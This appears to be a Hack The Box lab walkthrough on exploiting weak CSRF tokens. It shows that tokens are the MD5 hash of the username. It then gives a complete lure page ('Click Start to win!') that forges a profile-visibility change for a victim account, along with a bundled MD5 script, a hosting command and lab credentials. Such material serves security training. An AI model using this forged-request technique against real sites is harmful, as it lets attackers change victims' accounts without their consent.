Exploiting Weak CSRF Tokens
Navigate to http://csrf.htb.net and log in to the application using the credentials below:
Email: goldenpeacock467
Password: topcat
Open Web Developer Tools (Shift+Ctrl+I in the case of Firefox) and focus on the Network tab.
Back to the user's profile, press Change Visibility and then Make Public.
You should see a request similar to the one below.
Note the value of the CSRF token.
Execute the below command to calculate the MD5 hash of the string "goldenpeacock467" (the username).
eldeim@htb[/htb]$ echo -n goldenpeacock467 | md5sum
0bef12f8998057a7656043b6d30c90a2 -You will notice that the resulting hash is the same as the CSRF value! This means that the CSRF token is generated by MD5-hashing the username.
When assessing how robust a CSRF token generation mechanism is, make sure you spend a small amount of time trying to come up with the CSRF token generation mechanism. It can be as easy as md5(username), sha1(username), md5(current date + username) etc. Please note that you should not spend much time on this, but it is worth a shot.
Now that we know how the CSRF token for this action is generated let us see how we can attack other users through CSRF.
Find below the malicious page. Save it as press_start_2_win.htm
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="referrer" content="never">
<title>Proof-of-concept</title>
<link rel="stylesheet" href="styles.css">
<script src="./md5.min.js"></script>
</head>
<body>
<h1> Click Start to win!</h1>
<button class="button" onclick="trigger()">Start!</button>
<script>
let host = 'http://csrf.htb.net'
function trigger(){
// Creating/Refreshing the token in server side.
window.open(`${host}/app/change-visibility`)
window.setTimeout(startPoc, 2000)
}
function startPoc() {
// Setting the username
let hash = md5("crazygorilla983")
window.location = `${host}/app/change-visibility/confirm?csrf=${hash}&action=change`
}
</script>
</body>
</html>For your malicious page to have MD5-hashing functionality, save the below as md5.min.js and place it in the directory where the malicious page resides.
!function(n){"use strict";function d(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function f(n,t,r,e,o,u){return d((u=d(d(t,n),d(e,u)))<<o|u>>>32-o,r)}function l(n,t,r,e,o,u,c){return f(t&r|~t&e,n,t,o,u,c)}function g(n,t,r,e,o,u,c){return f(t&e|r&~e,n,t,o,u,c)}function v(n,t,r,e,o,u,c){return f(t^r^e,n,t,o,u,c)}function m(n,t,r,e,o,u,c){return f(r^(t|~e),n,t,o,u,c)}function c(n,t){var r,e,o,u;n[t>>5]|=128<<t%32,n[14+(t+64>>>9<<4)]=t;for(var c=1732584193,f=-271733879,i=-1732584194,a=271733878,h=0;h<n.length;h+=16)c=l(r=c,e=f,o=i,u=a,n[h],7,-680876936),a=l(a,c,f,i,n[h+1],12,-389564586),i=l(i,a,c,f,n[h+2],17,606105819),f=l(f,i,a,c,n[h+3],22,-1044525330),c=l(c,f,i,a,n[h+4],7,-176418897),a=l(a,c,f,i,n[h+5],12,1200080426),i=l(i,a,c,f,n[h+6],17,-1473231341),f=l(f,i,a,c,n[h+7],22,-45705983),c=l(c,f,i,a,n[h+8],7,1770035416),a=l(a,c,f,i,n[h+9],12,-1958414417),i=l(i,a,c,f,n[h+10],17,-42063),f=l(f,i,a,c,n[h+11],22,-1990404162),c=l(c,f,i,a,n[h+12],7,1804603682),a=l(a,c,f,i,n[h+13],12,-40341101),i=l(i,a,c,f,n[h+14],17,-1502002290),c=g(c,f=l(f,i,a,c,n[h+15],22,1236535329),i,a,n[h+1],5,-165796510),a=g(a,c,f,i,n[h+6],9,-1069501632),i=g(i,a,c,f,n[h+11],14,643717713),f=g(f,i,a,c,n[h],20,-373897302),c=g(c,f,i,a,n[h+5],5,-701558691),a=g(a,c,f,i,n[h+10],9,38016083),i=g(i,a,c,f,n[h+15],14,-660478335),f=g(f,i,a,c,n[h+4],20,-405537848),c=g(c,f,i,a,n[h+9],5,568446438),a=g(a,c,f,i,n[h+14],9,-1019803690),i=g(i,a,c,f,n[h+3],14,-187363961),f=g(f,i,a,c,n[h+8],20,1163531501),c=g(c,f,i,a,n[h+13],5,-1444681467),a=g(a,c,f,i,n[h+2],9,-51403784),i=g(i,a,c,f,n[h+7],14,1735328473),c=v(c,f=g(f,i,a,c,n[h+12],20,-1926607734),i,a,n[h+5],4,-378558),a=v(a,c,f,i,n[h+8],11,-2022574463),i=v(i,a,c,f,n[h+11],16,1839030562),f=v(f,i,a,c,n[h+14],23,-35309556),c=v(c,f,i,a,n[h+1],4,-1530992060),a=v(a,c,f,i,n[h+4],11,1272893353),i=v(i,a,c,f,n[h+7],16,-155497632),f=v(f,i,a,c,n[h+10],23,-1094730640),c=v(c,f,i,a,n[h+13],4,681279174),a=v(a,c,f,i,n[h],11,-358537222),i=v(i,a,c,f,n[h+3],16,-722521979),f=v(f,i,a,c,n[h+6],23,76029189),c=v(c,f,i,a,n[h+9],4,-640364487),a=v(a,c,f,i,n[h+12],11,-421815835),i=v(i,a,c,f,n[h+15],16,530742520),c=m(c,f=v(f,i,a,c,n[h+2],23,-995338651),i,a,n[h],6,-198630844),a=m(a,c,f,i,n[h+7],10,1126891415),i=m(i,a,c,f,n[h+14],15,-1416354905),f=m(f,i,a,c,n[h+5],21,-57434055),c=m(c,f,i,a,n[h+12],6,1700485571),a=m(a,c,f,i,n[h+3],10,-1894986606),i=m(i,a,c,f,n[h+10],15,-1051523),f=m(f,i,a,c,n[h+1],21,-2054922799),c=m(c,f,i,a,n[h+8],6,1873313359),a=m(a,c,f,i,n[h+15],10,-30611744),i=m(i,a,c,f,n[h+6],15,-1560198380),f=m(f,i,a,c,n[h+13],21,1309151649),c=m(c,f,i,a,n[h+4],6,-145523070),a=m(a,c,f,i,n[h+11],10,-1120210379),i=m(i,a,c,f,n[h+2],15,718787259),f=m(f,i,a,c,n[h+9],21,-343485551),c=d(c,r),f=d(f,e),i=d(i,o),a=d(a,u);return[c,f,i,a]}function i(n){for(var t="",r=32*n.length,e=0;e<r;e+=8)t+=String.fromCharCode(n[e>>5]>>>e%32&255);return t}function a(n){var t=[];for(t[(n.length>>2)-1]=void 0,e=0;e<t.length;e+=1)t[e]=0;for(var r=8*n.length,e=0;e<r;e+=8)t[e>>5]|=(255&n.charCodeAt(e/8))<<e%32;return t}function e(n){for(var t,r="0123456789abcdef",e="",o=0;o<n.length;o+=1)t=n.charCodeAt(o),e+=r.charAt(t>>>4&15)+r.charAt(15&t);return e}function r(n){return unescape(encodeURIComponent(n))}function o(n){return i(c(a(n=r(n)),8*n.length))}function u(n,t){return function(n,t){var r,e=a(n),o=[],u=[];for(o[15]=u[15]=void 0,16<e.length&&(e=c(e,8*n.length)),r=0;r<16;r+=1)o[r]=909522486^e[r],u[r]=1549556828^e[r];return t=c(o.concat(a(t)),512+8*t.length),i(c(u.concat(t),640))}(r(n),r(t))}function t(n,t,r){return t?r?u(t,n):e(u(t,n)):r?o(n):e(o(n))}"function"==typeof define&&define.amd?define(function(){return t}):"object"==typeof module&&module.exports?module.exports=t:n.md5=t}(this);
//# sourceMappingURL=md5.min.js.mapWe can serve the page and JavaScript code above from our attacking machine as follows.
eldeim@htb[/htb]$ python -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...Open a New Private Window, navigate to http://csrf.htb.net and log in to the application using the credentials below:
Email: crazygorilla983
Password: pisces
This account will play the role of the victim. As you can see, Ela Stienen's profile is not public. Let us try to make it public through a CSRF attack.
While still logged in as Ela Stienen, open a new tab and visit the page you are serving from your attacking machine http://<VPN/TUN Adapter IP>:1337/press_start_2_win.html.
Now press "Start!". You will notice that when Ela Stienen presses "Start," her profile will become public!
Last updated